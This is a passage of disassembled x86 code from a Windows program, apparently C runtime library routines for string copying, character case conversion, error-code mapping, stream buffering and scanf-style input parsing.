locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCD9C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEA1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB9E4, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBB4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9A8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB9E4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB92C, ecx
		mov	eax, offset dword_43CCC0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE28
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB928, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCC4[edx*8]
		mov	dword_4DB928, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB928, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB928, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0B8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D0D8
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB10
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9B4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9B4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBB4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9A8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBB4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBB4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBB8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBB8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBB4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBB4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF58
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE30
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE28


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
